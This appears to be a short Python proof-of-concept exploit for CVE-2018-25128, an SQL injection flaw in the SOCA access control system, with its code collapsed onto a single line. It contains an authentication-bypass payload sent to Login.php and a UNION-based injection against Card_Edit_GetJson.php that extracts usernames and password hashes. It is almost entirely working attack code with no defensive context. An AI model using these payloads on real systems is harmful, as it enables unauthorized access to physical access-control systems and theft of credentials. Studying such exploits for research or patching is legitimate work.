CVE-2018-25128 SOCA访问控制系统SQL注入漏洞

import requests import sys # CVE-2018-25128 SQL Injection PoC for SOCA Access Control System # Target: Login.php authentication bypass TARGET_URL = "http://target.com/Login.php" def exploit_login_bypass(): """ SQL injection in Login.php to bypass authentication Payload: admin' OR '1'='1' -- """ payload = { 'username': "admin' OR '1'='1' -- ", 'password': 'any' } try: response = requests.post(TARGET_URL, data=payload, timeout=10) if 'Login Failed' not in response.text: print("[+] Authentication bypass successful!") print("[+] Access granted without valid credentials") else: print("[-] Exploitation failed") except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") def exploit_card_edit_sqli(): """ SQL injection in Card_Edit_GetJson.php to extract database data """ target = "http://target.com/Card_Edit_GetJson.php" # Extract password hashes using UNION-based injection payload = { 'card_id': '1 UNION SELECT username,password,3,4,5 FROM users--' } try: response = requests.post(target, data=payload, timeout=10) if response.status_code == 200: print("[+] Data extraction successful!") print(f"[+] Response: {response.text[:500]}") except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") if __name__ == "__main__": print("CVE-2018-25128 SOCA Access Control System SQL Injection") print("=" * 50) exploit_login_bypass() exploit_card_edit_sqli()